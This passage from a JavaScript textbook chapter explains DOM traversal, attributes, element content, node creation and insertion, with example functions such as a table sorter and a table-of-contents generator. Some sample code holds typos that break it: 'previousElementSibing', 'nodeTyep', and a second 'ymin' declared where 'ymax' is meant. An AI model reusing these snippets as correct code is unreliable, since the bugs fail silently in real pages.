The second part of an element-based document traversal API is Element properties that are analogs to the child and sibling properties of the Node object:

`firstElementChild`, `lastElementChild`
: Like `firstChild` and `lastChild`, but for Element children only.

`nextElementSibling`, `previousElementSibling`
: Like `nextSibling` and `previousSibling`, but for Element siblings only.

`childElementCount`
: The number of element children. Returns the same value as `children.length`.

These child and sibling properties are standardized and are implemented in all current browsers except IE.[4]

Because the API for element-by-element document traversal is not yet completely universal, you might want to define portable traversal functions like those in Example 15-2.

Example 15-2. Portable document traversal functions

```
/**
 * Return the nth ancestor of e, or null if there is no such ancestor
 * or if that ancestor is not an Element (a Document or DocumentFragment e.g.).
 * If n is 0 return e itself.  If n is 1 (or
 * omitted) return the parent.  If n is 2, return the grandparent, etc.
 */
function parent(e, n) {
    if (n === undefined) n = 1;
    while(n-- && e) e = e.parentNode;
    if (!e || e.nodeType !== 1) return null;
    return e;
}

/**
 * Return the nth sibling element of Element e.
 * If n is postive return the nth next sibling element.
 * If n is negative, return the -nth previous sibling element.
 * If n is zero, return e itself.
 */
function sibling(e,n) {
    while(e && n !== 0) {  // If e is not defined we just return it
        if (n > 0) {  // Find next element sibling
            if (e.nextElementSibling) e = e.nextElementSibling;
            else {
                for(e=e.nextSibling; e && e.nodeType !== 1; e=e.nextSibling)
                    /* empty loop */ ;
            }
            n--;
        }
        else {        // Find the previous element sibling
            if (e.previousElementSibing) e = e.previousElementSibling;
            else {
                for(e=e.previousSibling; e&&e.nodeType!==1; e=e.previousSibling)
                    /* empty loop */ ;
            }
            n++;
```

4. *http://www.w3.org/TR/ElementTraversal*.

```
        }
    }
    return e;
}

/**
 * Return the nth element child of e, or null if it doesn't have one.
 * Negative values of n count from the end. 0 means the first child, but
 * -1 means the last child, -2 means the second to last, and so on.
 */
function child(e, n) {
    if (e.children) {                       // If children array exists
        if (n < 0) n += e.children.length; // Convert negative n to array index
        if (n < 0) return null;            // If still negative, no child
        return e.children[n];              // Return specified child
    }

    // If e does not have a children array, find the first child and count
    // forward or find the last child and count backwards from there.
    if (n >= 0) { // n is non-negative: count forward from the first child
        // Find the first child element of e
        if (e.firstElementChild) e = e.firstElementChild;
        else {
            for(e = e.firstChild; e && e.nodeType !== 1; e = e.nextSibling)
                /* empty */;
        }
        return sibling(e, n); // Return the nth sibling of the first child
    }
    else { // n is negative, so count backwards from the end
        if (e.lastElementChild) e = e.lastElementChild;
        else {
            for(e = e.lastChild; e && e.nodeType !== 1; e=e.previousSibling)
                /* empty */;
        }
        return sibling(e, n+1); // +1 to convert child -1 to sib 0 of last
    }
}
```

Defining Custom Element Methods

All current browsers (including IE8, but not IE7 and before) implement the DOM so that types like Element and HTMLDocument[5] are classes like String and Array. They are not constructors (we'll see how to create new Element objects later in the chapter), but they have prototype objects and you can extend them with custom methods:

```
Element.prototype.next = function() {
    if (this.nextElementSibling) return this.nextElementSibling;
    var sib = this.nextSibling;
    while(sib && sib.nodeType !== 1) sib = sib.nextSibling;
    return sib;
};
```

5. IE8 supports extendable prototypes for Element, HTMLDocument, and Text, but not for Node, Document, HTMLElement, or any of the more specific HTMLElement subtypes.

The functions of Example 15-2 are not defined as Element methods because this technique is not supported by IE7.

This ability to extend DOM types is still useful, however, if you want to implement IE-specific features in browsers other than IE. As noted above, the nonstandard Element property `children` was introduced by IE and has been adopted by other browsers. You can use code like this to simulate it in browsers like Firefox 3.0 that do not support it:

```
// Simulate the Element.children property in non-IE browsers that don't have it
// Note that this returns a static array rather than a live NodeList
if (!document.documentElement.children) {
    Element.prototype.__defineGetter__("children", function() {
        var kids = [];
        for(var c = this.firstChild; c != null; c = c.nextSibling)
            if (c.nodeType === 1) kids.push(c);
        return kids;
    });
}
```

The `__defineGetter__` method (covered in §6.7.1) is completely nonstandard, but it is perfect for portability code like this.

15.4 Attributes

HTML elements consist of a tag name and a set of name/value pairs known as *attributes*. The `<a>` element that defines a hyperlink, for example, uses the value of its `href` attribute as the destination of the link. The attribute values of HTML elements are available as properties of the HTMLElement objects that represent those elements. The DOM also defines other APIs for getting and setting the values of XML attributes and nonstandard HTML attributes. The subsections that follow have details.

15.4.1 HTML Attributes As Element Properties

The HTMLElement objects that represent the elements of an HTML document define read/write properties that mirror the HTML attributes of the elements. HTMLElement defines properties for the universal HTTP attributes such as `id`, `title` `lang`, and `dir`, and event handler properties like `onclick`. Element-specific subtypes define attributes specific to those elements. To query the URL of an image, for example, you can use the `src` property of the HTMLElement that represents the `<img>` element:

```
var image = document.getElementById("myimage");
var imgurl = image.src;   // The src attribute is the URL of the image
image.id === "myimage"    // Since we looked up the image by id
```

Similarly, you might set the form-submission attributes of a `<form>` element with code like this:

```
var f = document.forms[0];                      // First <form> in the document
f.action = "http://www.example.com/submit.php"; // Set URL to submit it to.
f.method = "POST";                              // HTTP request type
```

HTML attributes are not case sensitive, but JavaScript property names are. To convert an attribute name to the JavaScript property, write it in lowercase. If the attribute is more than one word long, however, put the first letter of each word after the first in uppercase: `defaultChecked` and `tabIndex`, for example.

Some HTML attribute names are reserved words in JavaScript. For these, the general rule is to prefix the property name with "html". The HTML `for` attribute (of the `<label>` element), for example, becomes the JavaScript `htmlFor` property. "class" is a reserved (but unused) word in JavaScript, and the very important HTML `class` attribute is an exception to the rule above: it becomes `className` in JavaScript code. We'll see the `className` property again in Chapter 16.

The properties that represent HTML attributes usually have string value. When the attribute is a boolean or numeric value (the `defaultChecked` and `maxLength` attributes of an `<input>` element, for example), the properties values are booleans or numbers instead of strings. Event handler attributes always have Function objects (or `null`) as their values. The HTML5 specification defines a few attributes (such as the `form` attribute of `<input>` and related elements) that convert element IDs to actual Element objects. Finally, the value of the `style` property of any HTML element is a CSSStyleDeclaration object rather than a string. We'll see much more about this important property in Chapter 16.

Note that this property-based API for getting and setting attribute values does not define any way to remove an attribute from an element. In particular, the `delete` operator cannot be used for this purpose. The section that follows describes a method that you can use to accomplish this.

15.4.2 Getting and Setting Non-HTML Attributes

As described above, HTMLElement and its subtypes define properties that correspond to the standard attributes of HTML elements. The Element type also defines `getAttribute()` and `setAttribute()` methods that you can use to query and set non-standard HTML attributes and to query and set attributes on the elements of an XML document:

```
var image = document.images[0];
var width = parseInt(image.getAttribute("WIDTH"));
image.setAttribute("class", "thumbnail");
```

The code above highlights two important differences between these methods and the property-based API described above. First, attribute values are all treated as strings. `getAttribute()` never returns a number, boolean, or object. Second, these methods use standard attribute names, even when those names are reserved words in JavaScript. For HTML elements, the attribute names are case insensitive.

Element also defines two related methods, `hasAttribute()` and `removeAttribute()`, which check for the presence of a named attribute and remove an attribute entirely. These methods are particularly useful with boolean attributes: these are attributes (such

as the `disabled` attribute of HTML form elements) whose presence or absence from an element matters but whose value is not relevant.

If you are working with XML documents that include attributes from other namespaces, you can use the namespaced variants of these four methods: `getAttributeNS()`, `setAttributeNS()`, `hasAttributeNS()`, and `removeAttributeNS()`. Instead of taking a single attribute name string, these methods take two. The first is the URI that identifies the namespace. The second is usually the unqualified local name of the attribute within the namespace. For `setAttributeNS()` only, however, the second argument is the qualified name of the attribute and includes the namespace prefix. You can read more about these namespace-aware attribute methods in Part IV.

15.4.3 Dataset Attributes

It is sometimes useful to attach additional information to HTML elements, typically when JavaScript code will be selecting those elements and manipulating them in some way. Sometimes this can be done by adding special identifiers to the `class` attribute. Other times, for more complex data, client-side programmers resort to the use of nonstandard attributes. As noted above, you can use the `getAttribute()` and `setAttribute()` methods to read and write the values of nonstandard attributes. The price you pay, however, is that your document will not be valid HTML.

HTML5 provides a solution. In an HTML5 document, any attribute whose name is lowercase and begins with the prefix "data-" is considered valid. These "dataset attributes" will not affect the presentation of the elements on which they appear and they define a standard way to attach additional data without compromising document validity.

HTML5 also defines a `dataset` property on Element objects. This property refers to an object, which has properties that correspond to the `data-` attributes with their prefix removed. Thus `dataset.x` would hold the value of the `data-x` attribute. Hyphenated attributes map to camel-case property names: the attribute `data-jquery-test` becomes the property `dataset.jqueryTest`.

As a more concrete example, suppose that a document contains the following markup:

```
<span class="sparkline" data-ymin="0" data-ymax="10">
1 1 1 2 2 3 4 5 5 4 3 5 6 7 7 4 2 1
</span>
```

A *sparkline* is a small graphic—often a line plot—designed to be displayed within the flow of text. In order to generate a sparkline, you might extract the value of the dataset attributes above with code like this:

```
// Assumes the ES5 Array.map() method (or a work-alike) is defined
var sparklines = document.getElementsByClassName("sparkline");
for(var i = 0; i < sparklines.length; i++) {
    var dataset = sparklines[i].dataset;
    var ymin = parseFloat(dataset.ymin);
    var ymax = parseFloat(dataset.ymax);
    var data = sparklines[i].textContent.split(" ").map(parseFloat);
```

```
    drawSparkline(sparklines[i], ymin, ymax, data);  // Not yet implemented
}
```

At the time of this writing, the `dataset` property is not implemented in current browsers, and the code above would have to be written like this:

```
var sparklines = document.getElementsByClassName("sparkline");
for(var i = 0; i < sparklines.length; i++) {
    var elt = sparklines[i];
    var ymin = parseFloat(elt.getAttribute("data-ymin"));
    var ymin = parseFloat(elt.getAttribute("data-ymax"));
    var points = elt.getAttribute("data-points");
    var data = elt.textContent.split(" ").map(parseFloat);
    drawSparkline(elt, ymin, ymax, data);  // Not yet implemented
}
```

Note that the `dataset` property is (or will be, when implemented) a live, two-way interface to the `data-` attributes of an element. Setting or deleting a property of `dataset` sets or removes the corresponding `data-` attribute of the element.

The `drawSparkline()` function in the above examples is fictitious, but Example 21-13 draws sparklines marked up like this using the `<canvas>` element.

15.4.4 Attributes As Attr Nodes

There is one more way to work with the attributes of an Element. The Node type defines an `attributes` property. This property is `null` for any nodes that are not Element objects. For Element objects, `attributes` is a read-only array-like object that represents all the attributes of the element. The attributes object is live in the way that NodeLists are. It can be indexed numerically, which means that you can enumerate all the attributes of an element. And it can also be indexed by attribute name:

```
document.body.attributes[0]        // The first attribute of the <body> elt
document.body.attributes.bgcolor   // The bgcolor attribute of the <body> elt
document.body.attributes["ONLOAD"] // The onload attribute of the <body> elt
```

The values obtained when you index the `attributes` object are Attr objects. Attr objects are a specialized kind of Node but are never really used like one. The `name` and `value` properties of an Attr return the name and value of the attribute.

15.5 Element Content

Take a look again at Figure 15-1, and ask yourself what the "content" of the `<p>` element is. There are three ways we might answer this question:

- The content is the HTML string "This is a simple document."
- The content is the plain-text string "This is a simple document."
- The content is a Text node, an Element node that has a Text node child, and another Text node.

Each of these are valid answers, and each answer is useful in its own way. The sections that follow explain how to work with the HTML representation, the plain-text representation, and the tree representation of element content.

15.5.1 Element Content As HTML

Reading the `innerHTML` property of an Element returns the content of that element as a string of markup. Setting this property on an element invokes the web browser's parser and replaces the element's current content with a parsed representation of the new string. (Despite its name, `innerHTML` can be used with XML elements as well as HTML elements.)

Web browsers are very good at parsing HTML and setting `innerHTML` is usually fairly efficient, even though the value you specify must be parsed. Note, however, that repeatedly appending bits of text to the `innerHTML` property with the `+=` operator is usually not efficient because it requires both a serialization step and a parsing step.

`innerHTML` was introduced in IE4. Although it has long been supported by all browsers, it has only become standardized with the advent of HTML5. HTML5 says that `innerHTML` should work on Document nodes as well as Element nodes, but this is not universally supported yet.

HTML5 also standardizes a property named `outerHTML`. When you query `outerHTML`, the string of HTML or XML markup that is returned includes the opening and closing tags of the element on which you queried it. When you set `outerHTML` on an element, the new content replaces the element itself. `outerHTML` is defined only for Element nodes, not Documents. At the time of this writing, `outerHTML` is supported by all current browsers except Firefox. (See Example 15-5, later in this chapter, for an `outerHTML` implementation based on `innerHTML`.)

Another feature introduced by IE and standardized by HTML5 is the `insertAdjacentHTML()` method, which allows you to insert a string of arbitrary HTML markup "adjacent" to the specified element. The markup is passed as the second argument to this method, and the precise meaning of "adjacent" depends on the value of the first argument. This first argument should be a string with one of the values "beforebegin", "afterbegin", "beforeend" or "afterend". These values correspond to insertion points that are illustrated in Figure 15-3.

Figure 15-3. Insertion points for insertAdjacentHTML()

`insertAdjacentHTML()` is not supported by current versions of Firefox. Later in this chapter, Example 15-6 shows how to implement `insertAdjacentHTML()` using the

Download from Wow! eBook <www.wowebook.com>

innerHTML property and also demonstrates how to write HTML insertion methods that do not require the insertion position to be specified with a string argument.

15.5.2 Element Content As Plain Text

Sometimes you want to query the content of an element as plain text, or to insert plain-text into a document (without having to escape the angle brackets and ampersands used in HTML markup). The standard way to do this is with the textContent property of Node:

```
var para = document.getElementsByTagName("p")[0];  // First <p> in the document
var text = para.textContent;        // Text is "This is a simple document."
para.textContent = "Hello World!";  // Alter paragraph content
```

The textContent property is supported by all current browsers except IE. In IE, you can use the Element property innerText instead. Microsoft introduced innerText in IE4, and it is supported by all current browsers except Firefox.

The textContent and innerText properties are similar enough that you can usually use them interchangeably. Be careful though to distinguish empty elements (the string "" is falsy in JavaScript) from undefined properties:

```
/**
 * With one argument, return the textContent or innerText of the element.
 * With two arguments, set the textContent or innerText of element to value.
 */
function textContent(element, value) {
    var content = element.textContent;  // Check if textContent is defined
    if (value === undefined) { // No value passed, so return current text
        if (content !== undefined) return content;
        else return element.innerText;
    }
    else {                     // A value was passed, so set text
        if (content !== undefined) element.textContent = value;
        else element.innerText = value;
    }
}
```

The textContent property is a straightforward concatenation of all Text node descendants of the specified element. innerText does not have a clearly specified behavior, but differs from textContent in a few ways. innerText does not return the content of <script> elements. It omits extraneous whitespace and attempts to preserve table formatting. Also, innerText is treated as a read-only property for certain table elements such as <table>, <tbody>, and <tr>.

Text in <script> elements

Inline <script> elements (i.e., those that do not have a src attribute) have a text property that you can use to retrieve their text. The content of a <script> element is never displayed by the browser, and the HTML parser ignores angle brackets and ampersands within a script. This makes a <script> element an ideal place to embed arbitrary textual data for use by your application. Simply set the type attribute of the element to some

value (such as "text/x-custom-data") that makes it clear that the script is not executable JavaScript code. If you do this, the JavaScript interpreter will ignore the script, but the element will exist in the document tree and its `text` property will return the data to you.

15.5.3 Element Content As Text Nodes

Another way to work with the content of an element is as a list of child nodes, each of which may have its own set of children. When thinking about element content, it is usually the Text nodes that are of interest. In XML documents, you must also be prepared to handle CDATASection nodes—they are a subtype of Text and represent the content of CDATA sections.

Example 15-3 shows a `textContent()` function that recursively traverses the children of an element and concatenates the text of all the Text node descendants. In order to understand the code, recall that the `nodeValue` property (defined by the Node type) holds the content of a Text node.

Example 15-3. Finding all Text node descendants of an element

```
// Return the plain-text content of element e, recursing into child elements.
// This method works like the textContent property
function textContent(e) {
    var child, type, s = "";  // s holds the text of all children
    for(child = e.firstChild; child != null; child = child.nextSibling) {
        type = child.nodeType;
        if (type === 3 || type === 4)  // Text and CDATASection nodes
            s += child.nodeValue;
        else if (type === 1)           // Recurse for Element nodes
            s += textContent(child);
    }
    return s;
}
```

The `nodeValue` property is read/write and you can set it to change the content displayed by a Text or CDATASection node. Both Text and CDATASection are subtypes of CharacterData, which you can look up in Part IV. CharacterData defines a `data` property, which is the same text as `nodeValue`. The following function converts the content of Text nodes to uppercase by setting the `data` property:

```
// Recursively convert all Text node descendants of n to uppercase.
function upcase(n) {
    if (n.nodeType == 3 || n.nodeTyep == 4) // If n is Text or CDATA
        n.data = n.data.toUpperCase();      // ...convert content to uppercase.
    else                                    // Otherwise, recurse on child nodes
        for(var i = 0; i < n.childNodes.length; i++)
            upcase(n.childNodes[i]);
}
```

CharacterData also defines infrequently used methods for appending, deleting, inserting, and replacing text within a Text or CDATASection node. Instead of altering the content of existing Text nodes, it is also possible to insert brand-new Text nodes into

an Element or to replace existing nodes with new Text nodes. Creating, inserting, and deleting nodes is the topic of the next section.

15.6 Creating, Inserting, and Deleting Nodes

We've seen how to query and alter document content using strings of HTML and of plain text. And we've also seen that we can traverse a Document to examine the individual Element and Text nodes that it is made of. It is also possible to alter a document at the level of individual nodes. The Document type defines methods for creating Element and Text objects, and the Node type defines methods for inserting, deleting, and replacing nodes in the tree. Example 13-4 demonstrated both node creation and node insertion, and that short example is duplicated here:

```
// Asynchronously load and execute a script from a specified URL
function loadasync(url) {
    var head = document.getElementsByTagName("head")[0]; // Find document <head>
    var s = document.createElement("script");  // Create a <script> element
    s.src = url;                               // Set its src attribute
    head.appendChild(s);                       // Insert the <script> into head
}
```

The subsections that follow include more details and examples of node creation, of the insertion and deletion of nodes, and also of the use of DocumentFragment as a shortcut when working with multiple nodes.

15.6.1 Creating Nodes

As shown in the code above, you can create new Element nodes with the `createElement()` method of the Document object. Pass the tag name of the element as the method argument: this name is case-insensitive for HTML documents and case-sensitive for XML documents.

Text nodes are created with a similar method:

```
var newnode = document.createTextNode("text node content");
```

Document defines other factory methods, such as the infrequently used `createComment()`, as well. We'll use the `createDocumentFragment()` method in §15.6.4. When working with documents that use XML namespaces, you can use `createElementNS()` to specify both the namespace URI and the tag name of the Element to be created.

Another way to create new document nodes is to make copies of existing ones. Every node has a `cloneNode()` method that returns a new copy of the node. Pass `true` to recursively copy all descendants as well, or `false` to only make a shallow copy. In browsers other than IE, the Document object also defines a similar method named `importNode()`. If you pass it a node from another document, it returns a copy suitable for insertion into this document. Pass `true` as the second argument to recursively import all descendants.

15.6.2 Inserting Nodes

Once you have a new node, you can insert it into the document with the Node methods `appendChild()` or `insertBefore()`. `appendChild()` is invoked on the Element node that you want to insert into, and it inserts the specified node so that it becomes the `lastChild` of that node.

`insertBefore()` is like `appendChild()`, but it takes two arguments. The first argument is the node to be inserted. The second argument is the node before which that node is to be inserted. This method is invoked on the node that will be the parent of the new node, and the second argument must be a child of that parent node. If you pass `null` as that second argument, the `insertBefore()` behaves like `appendChild()` and inserts at the end.

Here is a simple function for inserting a node at a numerical index. It demonstrates both `appendChild()` and `insertBefore()`:

```
// Insert the child node into parent so that it becomes child node n
function insertAt(parent, child, n) {
    if (n < 0 || n > parent.childNodes.length) throw new Error("invalid index");
    else if (n == parent.childNodes.length) parent.appendChild(child);
    else parent.insertBefore(child, parent.childNodes[n]);
}
```

If you call `appendChild()` or `insertBefore()` to insert a node that is already in the document, that node will automatically be removed from its current position and reinserted at its new position: there is no need to explicitly remove the node. Example 15-4 shows a function for sorting the rows of a table based on the values of cells in a specified column. It doesn't create any new nodes but uses `appendChild()` to change the order of existing nodes.

Example 15-4. Sorting the rows of a table

```
// Sort the rows in first <tbody> of the specified table according to
// the value of nth cell within each row. Use the comparator function
// if one is specified. Otherwise, compare the values alphabetically.
function sortrows(table, n, comparator) {
    var tbody = table.tBodies[0]; // First <tbody>; may be implicitly created
    var rows = tbody.getElementsByTagName("tr"); // All rows in the tbody
    rows = Array.prototype.slice.call(rows,0);   // Snapshot in a true array

    // Now sort the rows based on the text in the nth <td> element
    rows.sort(function(row1,row2) {
        var cell1 = row1.getElementsByTagName("td")[n];  // Get nth cell
        var cell2 = row2.getElementsByTagName("td")[n];  // of both rows
        var val1 = cell1.textContent || cell1.innerText; // Get text content
        var val2 = cell2.textContent || cell2.innerText; // of the two cells
        if (comparator) return comparator(val1, val2);   // Compare them!
        if (val1 < val2) return -1;
        else if (val1 > val2) return 1;
        else return 0;
    });
```

```
    // Now append the rows into the tbody in their sorted order.
    // This automatically moves them from their current location, so there
    // is no need to remove them first. If the <tbody> contains any
    // nodes other than <tr> elements, those nodes will float to the top.
    for(var i = 0; i < rows.length; i++) tbody.appendChild(rows[i]);
}

// Find the <th> elements of the table (assuming there is only one row of them)
// and make them clickable so that clicking on a column header sorts
// by that column.
function makeSortable(table) {
    var headers = table.getElementsByTagName("th");
    for(var i = 0; i < headers.length; i++) {
        (function(n) {  // Nested funtion to create a local scope
            headers[i].onclick = function() { sortrows(table, n); };
        }(i));          // Assign value of i to the local variable n
    }
}
```

15.6.3 Removing and Replacing Nodes

The `removeChild()` method removes a node from the document tree. Be careful, however: this method isn't invoked on the node to be removed but (as the "child" part of its name implies) on the parent of that node. Invoke the method on the parent node and pass the child node that is to be removed as the method argument. To remove the node `n` from the document, you'd write:

```
n.parentNode.removeChild(n);
```

`replaceChild()` removes one child node and replaces it with a new one. Invoke this method on the parent node, passing the new node as the first argument and the node to be replaced as the second argument. To replace the node `n` with a string of text, for example, you could write:

```
n.parentNode.replaceChild(document.createTextNode("[ REDACTED ]"), n);
```

The following function demonstrates another use of `replaceChild()`:

```
// Replace the node n with a new <b> element and make n a child of that element.
function embolden(n) {
    // If we're passed a string instead of a node, treat it as an element id
    if (typeof n == "string") n = document.getElementById(n);
    var parent = n.parentNode;           // Get the parent of n
    var b = document.createElement("b"); // Create a <b> element
    parent.replaceChild(b, n);           // Replace n with the <b> element
    b.appendChild(n);                    // Make n a child of the <b> element
}
```

§15.5.1 introduced the `outerHTML` property of an element and explained that it was not implemented in current versions of Firefox. Example 15-5 shows how to implement this property in Firefox (and any other browser that supports `innerHTML`, has an extensible `Element.prototype` object, and has methods for defining property getters and setters). The code also demonstrates a practical use for the `removeChild()` and `cloneNode()` methods.

Example 15-5. Implementing the outerHTML property using innerHTML

```
// Implement the outerHTML property for browsers that don't support it.
// Assumes that the browser does support innerHTML, has an extensible
// Element.prototype, and allows getters and setters to be defined.
(function() {
    // If we already have outerHTML return without doing anything
    if (document.createElement("div").outerHTML) return;

    // Return the outer HTML of the element referred to by this
    function outerHTMLGetter() {
        var container = document.createElement("div"); // Dummy element
        container.appendChild(this.cloneNode(true));   // Copy this to dummy
        return container.innerHTML;                    // Return dummy content
    }

    // Set the outer HTML of the this element to the specified value
    function outerHTMLSetter(value) {
        // Create a dummy element and set its content to the specified value
        var container = document.createElement("div");
        container.innerHTML = value;
        // Move each of the nodes from the dummy into the document
        while(container.firstChild)  // Loop until container has no more kids
            this.parentNode.insertBefore(container.firstChild, this);
        // And remove the node that has been replaced
        this.parentNode.removeChild(this);
    }

    // Now use these two functions as getters and setters for the
    // outerHTML property of all Element objects. Use ES5 Object.defineProperty
    // if it exists and otherwise fall back on __defineGetter__ and Setter__.
    if (Object.defineProperty) {
        Object.defineProperty(Element.prototype, "outerHTML", {
                                get: outerHTMLGetter,
                                set: outerHTMLSetter,
                                enumerable: false, configurable: true
                            });
    }
    else {
        Element.prototype.__defineGetter__("outerHTML", outerHTMLGetter);
        Element.prototype.__defineSetter__("outerHTML", outerHTMLSetter);
    }
}());
```

15.6.4 Using DocumentFragments

A DocumentFragment is a special kind of Node that serves as a temporary container for other nodes. Create a DocumentFragment like this:

```
var frag = document.createDocumentFragment();
```

Like a Document node, a DocumentFragment stands alone and is not part of any other document. Its `parentNode` is always `null`. Like an Element, however, a DocumentFragment can have any number of children, which you can manipulate with `appendChild()`, `insertBefore()`, and so on.

The special thing about DocumentFragment is that it allows a set of nodes to be treated as a single node: if you pass a DocumentFragment to `appendChild()`, `insertBefore()`, or `replaceChild()`, it is the children of the fragment that are inserted into the document, not the fragment itself. (The children are moved from the fragment into the document, and the fragment becomes empty and ready for reuse.) The following function uses a DocumentFragment to reverse the order of the children of a node:

```
// Reverse the order of the children of Node n
function reverse(n) {
    // Create an empty DocumentFragment as a temporary container
    var f = document.createDocumentFragment();
    // Now loop backward through the children, moving each one to the fragment.
    // The last child of n becomes the first child of f, and vice-versa.
    // Note that appending a child to f automatically removes it from n.
    while(n.lastChild) f.appendChild(n.lastChild);

    // Finally, move the children of f all at once back to n, all at once.
    n.appendChild(f);
}
```

Example 15-6 implements the `insertAdjacentHTML()` method (see §15.5.1) using the `innerHTML` property and a DocumentFragment. It also defines logically named HTML insertion functions as an alternative to the confusing `insertAdjacentHTML()` API. The internal utility function `fragment()` is possibly the most useful part of this code: it returns a DocumentFragment that contains the parsed representation of a specified string of HTML text.

Example 15-6. Implementing insertAdjacentHTML() using innerHTML

```
// This module defines Element.insertAdjacentHTML for browsers that don't
// support it, and also defines portable HTML insertion functions that have
// more logical names than insertAdjacentHTML:
//     Insert.before(), Insert.after(), Insert.atStart(), Insert.atEnd()
var Insert = (function() {
    // If elements have a native insertAdjacentHTML, use it in four HTML
    // insertion functions with more sensible names.
    if (document.createElement("div").insertAdjacentHTML) {
        return {
            before: function(e,h) {e.insertAdjacentHTML("beforebegin",h);},
            after: function(e,h) {e.insertAdjacentHTML("afterend",h);},
            atStart: function(e,h) {e.insertAdjacentHTML("afterbegin",h);},
            atEnd: function(e,h) {e.insertAdjacentHTML("beforeend",h);}
        };
    }

    // Otherwise, we have no native insertAdjacentHTML. Implement the same
    // four insertion functions and then use them to define insertAdjacentHTML.

    // First, define a utility method that takes a string of HTML and returns
    // a DocumentFragment containing the parsed representation of that HTML.
    function fragment(html) {
        var elt = document.createElement("div");      // Create empty element
        var frag = document.createDocumentFragment(); // Create empty fragment
        elt.innerHTML = html;                         // Set element content
```

```
        while(elt.firstChild)                          // Move all nodes
            frag.appendChild(elt.firstChild);          //    from elt to frag
        return frag;                                   // And return the frag
    }

    var Insert = {
        before: function(elt, html) {
            elt.parentNode.insertBefore(fragment(html), elt);
        },
        after: function(elt, html) {
            elt.parentNode.insertBefore(fragment(html),elt.nextSibling);
        },
        atStart: function(elt, html) {
            elt.insertBefore(fragment(html), elt.firstChild);
        },
        atEnd: function(elt, html) { elt.appendChild(fragment(html)); }
    };

    // Now implement insertAdjacentHTML based on the functions above
    Element.prototype.insertAdjacentHTML = function(pos, html) {
        switch(pos.toLowerCase()) {
        case "beforebegin": return Insert.before(this, html);
        case "afterend": return Insert.after(this, html);
        case "afterbegin": return Insert.atStart(this, html);
        case "beforeend": return Insert.atEnd(this, html);
        }
    };
    return Insert;  // Finally return the four insertion function
}());
```

15.7 Example: Generating a Table of Contents

Example 15-7 shows how to dynamically create a table of contents for a document. It demonstrates many of the document scripting concepts described in the sections above: element selection, document traversal, setting element attributes, setting the `innerHTML` property, and creating new nodes and inserting them into the document. The example is well-commented and you should have no trouble following the code.

Example 15-7. An automatically generated table of contents

```
/**
 * TOC.js: create a table of contents for a document.
 *
 * This module registers an anonymous function that runs automatically
 * when the document finishes loading. When it runs, the function first
 * looks for a document element with an id of "TOC". If there is no
 * such element it creates one at the start of the document.
 *
 * Next, the function finds all <h1> through <h6> tags, treats them as
 * section titles, and creates a table of contents within the TOC
 * element. The function adds section numbers to each section heading
 * and wraps the headings in named anchors so that the TOC can link to
 * them. The generated anchors have names that begin with "TOC", so
 * you should avoid this prefix in your own HTML.
```

```
 *
 * The entries in the generated TOC can be styled with CSS. All entries have
 * a class "TOCEntry". Entries also have a class that corresponds to the level
 * of the section heading. <h1> tags generate entries of class "TOCLevel1",
 * <h2> tags generate entries of class "TOCLevel2", and so on. Section numbers
 * inserted into headings have class "TOCSectNum".
 *
 * You might use this module with a stylesheet like this:
 *
 *   #TOC { border: solid black 1px; margin: 10px; padding: 10px; }
 *   .TOCEntry { font-family: sans-serif; }
 *   .TOCEntry a { text-decoration: none; }
 *   .TOCLevel1 { font-size: 16pt; font-weight: bold; }
 *   .TOCLevel2 { font-size: 12pt; margin-left: .5in; }
 *   .TOCSectNum:after { content: ": "; }
 *
 * That final line generates a colon and space after section numbers. To hide
 * the section numbers, use this:
 *
 *   .TOCSectNum { display: none }
 *
 * This module requires the onLoad() utility function.
 **/
onLoad(function() { // Anonymous function defines a local scope
    // Find the TOC container element.
    // If there isn't one, create one at the start of the document.
    var toc = document.getElementById("TOC");
    if (!toc) {
        toc = document.createElement("div");
        toc.id = "TOC";
        document.body.insertBefore(toc, document.body.firstChild);
    }

    // Find all section heading elements
    var headings;
    if (document.querySelectorAll) // Can we do it the easy way?
        headings = document.querySelectorAll("h1,h2,h3,h4,h5,h6");
    else   // Otherwise, find the headings the hard way
        headings = findHeadings(document.body, []);

    // Recursively traverse the document body looking for headings
    function findHeadings(root, sects) {
        for(var c = root.firstChild; c != null; c = c.nextSibling) {
            if (c.nodeType !== 1) continue;
            if (c.tagName.length == 2 && c.tagName.charAt(0) == "H")
                sects.push(c);
            else
                findHeadings(c, sects);
        }
        return sects;
    }

    // Initialize an array that keeps track of section numbers.
    var sectionNumbers = [0,0,0,0,0,0];

    // Now loop through the section header elements we found.
```

```
    for(var h = 0; h < headings.length; h++) {
        var heading = headings[h];

        // Skip the section heading if it is inside the TOC container.
        if (heading.parentNode == toc) continue;

        // Figure out what level heading it is.
        var level = parseInt(heading.tagName.charAt(1));
        if (isNaN(level) || level < 1 || level > 6) continue;

        // Increment the section number for this heading level
        // and reset all lower heading level numbers to zero.
        sectionNumbers[level-1]++;
        for(var i = level; i < 6; i++) sectionNumbers[i] = 0;

        // Now combine section numbers for all heading levels
        // to produce a section number like 2.3.1.
        var sectionNumber = sectionNumbers.slice(0,level).join(".")

        // Add the section number to the section header title.
        // We place the number in a <span> to make it styleable.
        var span = document.createElement("span");
        span.className = "TOCSectNum";
        span.innerHTML = sectionNumber;
        heading.insertBefore(span, heading.firstChild);

        // Wrap the heading in a named anchor so we can link to it.
        var anchor = document.createElement("a");
        anchor.name = "TOC"+sectionNumber;
        heading.parentNode.insertBefore(anchor, heading);
        anchor.appendChild(heading);

        // Now create a link to this section.
        var link = document.createElement("a");
        link.href = "#TOC" + sectionNumber; // Link destination
        link.innerHTML = heading.innerHTML; // Link text is same as heading

        // Place the link in a div that is styleable based on the level.
        var entry = document.createElement("div");
        entry.className = "TOCEntry TOCLevel" + level;
        entry.appendChild(link);

        // And add the div to the TOC container.
        toc.appendChild(entry);
    }
});
```

15.8 Document and Element Geometry and Scrolling

In this chapter so far we have thought about documents as abstract trees of elements and text nodes. But when a browser renders a document within a window, it creates a visual representation of the document in which each element has a position and a size. Often, web applications can treat documents as trees of elements and never have to

think about how those elements are rendered onscreen. Sometimes, however, it is necessary to determine the precise geometry of an element. We'll see in Chapter 16, for example, that the CSS can be used to specify the position of an element. If you want to use CSS to dynamically position an element (such as a tooltip or callout) next to some ordinary browser-positioned element, you need to be able to determine the location of that element.

This section explains how you can go back and forth between the abstract, tree-based *model* of a document and the geometrical, coordinate-based *view* of the document as it is laid out in a browser window. The properties and methods described in this section have been implemented in browsers for a long time (though some were, until recently, IE-specific and some were not implemented by IE until IE9). At the time of this writing, they are going through the W3C standardization process as the CSSOM-View Module (see *http://www.w3.org/TR/cssom-view/*).

